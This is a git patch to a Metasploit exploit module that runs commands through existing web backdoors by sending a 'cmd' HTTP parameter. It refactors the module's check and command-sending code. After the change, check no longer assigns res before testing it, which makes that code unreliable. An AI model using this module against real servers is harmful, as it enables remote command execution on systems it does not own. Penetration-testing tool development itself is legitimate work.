From fa1391de87d8f26a0833aa469a12481dbb08270b Mon Sep 17 00:00:00 2001 From: JT Date: Fri, 2 Oct 2015 07:53:15 +0800 Subject: [PATCH] Update simple_backdoors_exec.rb Updating the code as suggested --- modules/exploits/multi/http/simple_backdoors_exec.rb | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 661ff102a5..59594617ab 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -58,14 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check test = Rex::Text.rand_text_alpha(8) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path), - 'vars_get' => - { - 'cmd' => test - } - }) + http_send_command(test) if res && res.body =~ /#{test}/ return Exploit::CheckCode::Vulnerable end @@ -80,9 +73,10 @@ class Metasploit3 < Msf::Exploit::Remote 'cmd' => cmd } }) - if !res && res.code == 200 + unless res && res.code == 200 fail_with(Failure::Unknown, "Failed to execute the command.") end + res end def exploit